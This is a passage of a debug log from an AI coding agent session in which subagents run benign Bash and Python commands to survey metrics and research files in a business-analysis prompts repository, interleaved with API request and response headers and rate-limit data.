\"0.5\",\n[2026-09-29T07:45:16.955Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:16.957Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:16.962Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:16.965Z] [STDOUT]   \"request-id\": \"req_011CfXMk6JW5fB2CfUffLfSG\",\n[2026-09-29T07:45:16.967Z] [STDOUT]   \"traceresponse\": \"00-6039f8c8d94f214875f902aaf772d5ce-039e3061f439ac2b-01\",\n[2026-09-29T07:45:16.970Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:16.974Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:16.978Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:16.981Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:16.985Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:16.990Z] [STDOUT]   \"cf-ray\": \"a4295e0978804d8b-FRA\",\n[2026-09-29T07:45:16.996Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:17.001Z] [STDOUT] [log_f276cb] response parsed {\n[2026-09-29T07:45:17.018Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:17.030Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:17.038Z] [STDOUT]   body: X {\n[2026-09-29T07:45:17.053Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:17.061Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:17.066Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:17.074Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:17.076Z] [STDOUT]     },\n[2026-09-29T07:45:17.085Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:17.093Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:17.099Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:17.103Z] [STDOUT]   },\n[2026-09-29T07:45:17.115Z] [STDOUT]   durationMs: 925,\n[2026-09-29T07:45:17.154Z] [STDOUT] }\n[2026-09-29T07:45:17.534Z] [INFO] {\n[2026-09-29T07:45:17.534Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"message\": {\n[2026-09-29T07:45:17.534Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:17.534Z] [INFO]     \"id\": \"msg_011CfXMjvsy4h4mdFcahKVfX\",\n[2026-09-29T07:45:17.534Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:17.534Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:17.534Z] [INFO]     \"content\": [\n[2026-09-29T07:45:17.534Z] [INFO]       {\n[2026-09-29T07:45:17.534Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:17.534Z] [INFO]         \"id\": \"toolu_01Uf9F7ExiPva4DpDcfuZVyv\",\n[2026-09-29T07:45:17.534Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:17.534Z] [INFO]         \"input\": {\n[2026-09-29T07:45:17.534Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport yaml,glob,json,collections\\nkeys=collections.Counter()\\ndef flat(d,p=''):\\n    out={}\\n    if isinstance(d,dict):\\n        for k,v in d.items(): out.update(flat(v,p+k+'.'))\\n    else: out[p[:-1]]=d\\n    return out\\nallf={}\\nfor f in sorted(glob.glob('runs/2026/RUN-*/metadata.yaml')):\\n    d=yaml.safe_load(open(f))\\n    m=d.get('metrics') or {}\\n    fl=flat(m)\\n    allf[d['run_id']]=fl\\n    keys.update(fl.keys())\\nfor k,v in keys.most_common(): print(v,k)\\njson.dump(allf,open('/tmp/runs_metrics.json','w'),ensure_ascii=False,default=str,indent=1)\\nEOF\",\n[2026-09-29T07:45:17.534Z] [INFO]           \"description\": \"Survey metrics keys across runs\"\n[2026-09-29T07:45:17.534Z] [INFO]         },\n[2026-09-29T07:45:17.534Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:17.534Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:17.534Z] [INFO]         }\n[2026-09-29T07:45:17.534Z] [INFO]       }\n[2026-09-29T07:45:17.534Z] [INFO]     ],\n[2026-09-29T07:45:17.534Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:17.534Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:17.534Z] [INFO]       \"cache_creation_input_tokens\": 1241,\n[2026-09-29T07:45:17.534Z] [INFO]       \"cache_read_input_tokens\": 49626,\n[2026-09-29T07:45:17.534Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:17.534Z] [INFO]         \"ephemeral_5m_input_tokens\": 1241,\n[2026-09-29T07:45:17.534Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:17.534Z] [INFO]       },\n[2026-09-29T07:45:17.534Z] [INFO]       \"output_tokens\": 9,\n[2026-09-29T07:45:17.534Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:17.534Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:17.534Z] [INFO]     },\n[2026-09-29T07:45:17.534Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:17.534Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:17.534Z] [INFO]   },\n[2026-09-29T07:45:17.534Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"uuid\": \"404ed598-f435-4827-9b80-d9110c3be68a\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:17.521Z\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"request_id\": \"req_011CfXMjvNi8kM174BHGkpko\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:17.534Z] [INFO] }\n[2026-09-29T07:45:17.542Z] [INFO] {\n[2026-09-29T07:45:17.542Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"description\": \"Running Survey metrics keys across runs\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:17.542Z] [INFO]     \"total_tokens\": 51493,\n[2026-09-29T07:45:17.542Z] [INFO]     \"tool_uses\": 13,\n[2026-09-29T07:45:17.542Z] [INFO]     \"duration_ms\": 55239\n[2026-09-29T07:45:17.542Z] [INFO]   },\n[2026-09-29T07:45:17.542Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"uuid\": \"f097197a-13b5-46ef-8895-86dcd4bdbf1c\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:17.542Z] [INFO] }\n[2026-09-29T07:45:17.919Z] [INFO] {\n[2026-09-29T07:45:17.919Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"message\": {\n[2026-09-29T07:45:17.919Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:17.919Z] [INFO]     \"content\": [\n[2026-09-29T07:45:17.919Z] [INFO]       {\n[2026-09-29T07:45:17.919Z] [INFO]         \"tool_use_id\": \"toolu_019djYenrnVc4qMyz69PwUHc\",\n[2026-09-29T07:45:17.919Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:17.919Z] [INFO]         \"content\": \"research/ba-requirements/artifact-micro-structure/10-theory.md\\nresearch/ba-requirements/README.md\\nresearch/ba-requirements/normalization/10-theory.md\\nresearch/ba-requirements/normalization/30-decision-framework.md\\nresearch/ba-requirements/normalization/00-introduction.md\\nresearch/ba-requirements/exp/ba-methodology-unification-557/knowledge-inventory.json\\n---\\nresearch/ba-requirements/methodology-unification/50-open-research.md\\nresearch/ba-requirements/methodology-unification/40-practice-and-cases.md\\n---\",\n[2026-09-29T07:45:17.919Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:17.919Z] [INFO]       }\n[2026-09-29T07:45:17.919Z] [INFO]     ]\n[2026-09-29T07:45:17.919Z] [INFO]   },\n[2026-09-29T07:45:17.919Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"uuid\": \"01e17a18-e627-4627-b7e0-8db234be6763\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:17.917Z\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:17.919Z] [INFO] }\n[2026-09-29T07:45:17.949Z] [STDOUT] [log_9b307f] sending request {\n[2026-09-29T07:45:17.956Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:17.959Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:17.961Z] [STDOUT]   options: {\n[2026-09-29T07:45:17.965Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:17.967Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:17.972Z] [STDOUT]     body: {\n[2026-09-29T07:45:17.975Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:17.979Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:17.986Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:17.990Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:17.993Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:17.996Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:18.002Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:18.008Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:18.012Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:18.016Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:18.022Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:18.024Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:18.029Z] [STDOUT]     },\n[2026-09-29T07:45:18.030Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:18.032Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:18.035Z] [STDOUT]       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\u0420\u0435\u0448\u0435\u043d\u0438\u0435\\\\|^## Result\\\\|^## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\\\|^## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\\\|^## Summary\\\" $f; sed -n 30,75p $f | cut -c1-600\",\n[2026-09-29T07:45:19.282Z] [INFO]       \"description\": \"Locate decision sections\"\n[2026-09-29T07:45:19.282Z] [INFO]     }\n[2026-09-29T07:45:19.282Z] [INFO]   },\n[2026-09-29T07:45:19.282Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:45:19.282Z] [INFO]     \"toolu_01XCLg7LicwvUvhJ2CtFHXGL\": {\n[2026-09-29T07:45:19.282Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process\"\n[2026-09-29T07:45:19.282Z] [INFO]     }\n[2026-09-29T07:45:19.282Z] [INFO]   }\n[2026-09-29T07:45:19.282Z] [INFO] }\n[2026-09-29T07:45:19.401Z] [INFO] {\n[2026-09-29T07:45:19.401Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"message\": {\n[2026-09-29T07:45:19.401Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:19.401Z] [INFO]     \"content\": [\n[2026-09-29T07:45:19.401Z] [INFO]       {\n[2026-09-29T07:45:19.401Z] [INFO]         \"tool_use_id\": \"toolu_01Uf9F7ExiPva4DpDcfuZVyv\",\n[2026-09-29T07:45:19.401Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:19.401Z] [INFO]         \"content\": \"51 eval\\n45 token_method\\n42 episodes\\n42 duration_active_s\\n38 iterations\\n38 tokens_output\\n36 tokens_thinking\\n35 turns\\n35 tokens_input\\n33 tokens_dialog_total\\n28 sessions\\n27 dialog_start_utc\\n27 dialog_end_utc\\n27 calendar_days\\n27 attachments_distinct\\n19 success_rate\\n18 verdict\\n17 success_rate_basis\\n11 hallucinations\\n11 hallucinations_shipped\\n11 duration_wall_clock_s\\n10 ba_edits\\n10 quality\\n9 duration_generation_s\\n8 measured\\n5 user_turns\\n5 assistant_turns\\n5 duration_h\\n5 window_utc\\n5 source_rows\\n4 output_tokens\\n4 reasoning_tokens\\n4 max_context_tokens\\n3 tokens_context_in_max\\n3 tokens_context_refeed_sum\\n3 duration_s\\n3 input_tokens\\n3 total_tokens\\n3 tokens_context_refeed_estimate\\n3 web_tool_calls\\n3 source_workbooks\\n3 assessed_requirements\\n3 verdicts_yes\\n3 verdicts_partial\\n3 verdicts_no\\n3 verdicts_empty\\n3 atomic_citations\\n2 episodes_works\\n2 episodes_works_with_edits\\n2 episodes_fails\\n2 ba_corrections\\n2 false_citations\\n2 tokens_reasoning\\n2 tokens_total\\n2 sources_studied\\n2 kb_sections_read\\n2 requirements_assessed\\n2 functional_requirements\\n2 worksheet_extent\\n2 template_v4_matches_over_90\\n1 source\\n1 started_at\\n1 finished_at\\n1 duration_seconds\\n1 tokens.input\\n1 tokens.output\\n1 tokens.total\\n1 tokens.reasoning\\n1 tokens.cached\\n1 steps_planned\\n1 steps_completed\\n1 eval.verdict\\n1 eval.quality\\n1 eval.target_artifact\\n1 eval.defects\\n1 eval.factual_distortions\\n1 episodes_accepted_as_is\\n1 input_tokens_max_per_call\\n1 input_tokens_sum\\n1 duration_active_minutes\\n1 duration_calendar_days\\n1 pages_extracted_ok\\n1 web_sources_returned\\n1 hh_api_docs_read\\n1 critical_gaps\\n1 requirements_form_rows\\n1 requirements_group_headers\\n1 coverage_l1\\n1 coverage_l1_partial\\n1 coverage_l2_twin\\n1 coverage_l3_sa\\n1 coverage_none\\n1 discrepancies_with_vendor_answers\\n1 vendor_questions\\n1 pilot_spikes\\n1 hh_api_operations_read\\n1 hh_api_schemas_read\\n1 requirements_reassessed\\n1 gaps_closed\\n1 gaps_remaining\\n1 new_gaps\\n1 high_risk_gaps\\n1 paths_compared\\n1 circuit_breaker\\n1 mango_sections_read\\n1 sequence_diagrams\\n1 mapping_rows\\n1 json_examples\\n1 internal_contract_gaps\\n1 options_compared\\n1 hypotheses_inherited_unverified\\n1 ft_sections\\n1 ft_subclauses_assessed\\n1 footnote_sources\\n1 activity_diagrams\\n1 gaps_confirmed\\n1 gaps_new\\n1 l2_corrections\\n1 spec_operations_indexed\\n1 spec_sha256\\n1 links_checked_dialog\\n1 links_with_anchor\\n1 links_section_resolved\\n1 wiki_pages_checked\\n1 wiki_pages_available\\n1 wiki_pages_with_anchors\\n1 upper_level_requirements\\n1 use_cases\\n1 expert_gates\\n1 classified_errors\\n1 acceptance_scenarios\\n1 sla_rows\\n1 audit_findings_applied\\n1 removed_current_functionality_requirements\\n1 acceptance_criteria\\n1 open_questions\\n1 source_images\\n1 source_pages\\n1 template_v4_max_similarity\",\n[2026-09-29T07:45:19.401Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:19.401Z] [INFO]       }\n[2026-09-29T07:45:19.401Z] [INFO]     ]\n[2026-09-29T07:45:19.401Z] [INFO]   },\n[2026-09-29T07:45:19.401Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"uuid\": \"b4bf290d-9ff8-4650-a47a-4da106cc2bc6\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:19.397Z\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:19.401Z] [INFO] }\n[2026-09-29T07:45:19.422Z] [STDOUT] [log_347c33] sending request {\n[2026-09-29T07:45:19.425Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:19.428Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:19.430Z] [STDOUT]   options: {\n[2026-09-29T07:45:19.436Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:19.441Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:19.442Z] [STDOUT]     body: {\n[2026-09-29T07:45:19.445Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:19.450Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:19.458Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:19.462Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:19.467Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:19.470Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:19.473Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:19.479Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:19.483Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:19.489Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:19.493Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:19.494Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:19.497Z] [STDOUT]     },\n[2026-09-29T07:45:19.501Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:19.507Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:19.512Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:19.519Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:19.525Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:19.532Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:19.535Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:19.540Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:19.544Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:19.549Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:19.552Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:19.556Z] [STDOUT]     },\n[2026-09-29T07:45:19.560Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:19.567Z] [STDOUT]   },\n[2026-09-29T07:45:19.571Z] [STDOUT]   headers: {\n[2026-09-29T07:45:19.573Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:19.577Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:19.582Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:19.585Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:19.591Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:19.597Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:19.600Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:19.604Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:19.612Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:19.617Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:19.621Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:19.624Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1842\",\n[2026-09-29T07:45:19.632Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:19.637Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:19.640Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:19.644Z] [STDOUT]     \"x-client-request-id\": \"77e9ce0b-ca61-401c-9f6e-fda4553ff1c5\",\n[2026-09-29T07:45:19.647Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:19.651Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:19.659Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:19.661Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:19.664Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:19.669Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:19.672Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:19.679Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:19.683Z] [STDOUT]   },\n[2026-09-29T07:45:19.686Z] [STDOUT] }\n[2026-09-29T07:45:20.298Z] [STDOUT] [log_347c33, request-id: \"req_011CfXMkN1ZpkX5i3d1c1xYw\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 874ms\n[2026-09-29T07:45:20.305Z] [STDOUT] [log_347c33] response start {\n[2026-09-29T07:45:20.310Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:20.316Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:20.323Z] [STDOUT]   headers: {\n[2026-09-29T07:45:20.327Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:20.330Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:20.334Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:20.336Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:20.340Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:20.357Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:20.366Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:20.391Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:20.401Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:20.404Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:20.412Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:20.417Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:20.420Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:20.425Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:20.428Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:20.432Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:20.436Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:20.444Z] [STDOUT]     \"cf-ray\": \"a4295e206ccc4d8b-FRA\",\n[2026-09-29T07:45:20.450Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:20.453Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:20.455Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:20.460Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:20.465Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:20 GMT\",\n[2026-09-29T07:45:20.471Z] [STDOUT]     \"request-id\": \"req_011CfXMkN1ZpkX5i3d1c1xYw\",\n[2026-09-29T07:45:20.475Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:20.480Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:20.486Z] [STDOUT]     traceresponse: \"00-eab6e504ff54330c5433dbf4909f253b-0dafe756d74cd310-01\",\n[2026-09-29T07:45:20.492Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:20.498Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:20.507Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:20.526Z] [STDOUT]   },\n[2026-09-29T07:45:20.551Z] [STDOUT]   durationMs: 874,\n[2026-09-29T07:45:20.555Z] [STDOUT] }\n[2026-09-29T07:45:20.562Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:20.571Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:20 GMT\",\n[2026-09-29T07:45:20.574Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:20.579Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:20.589Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:20.596Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:20.601Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:20.605Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:20.611Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:20.615Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:20.620Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:20.625Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:20.629Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:20.639Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:20.648Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:20.653Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:20.657Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:20.662Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": 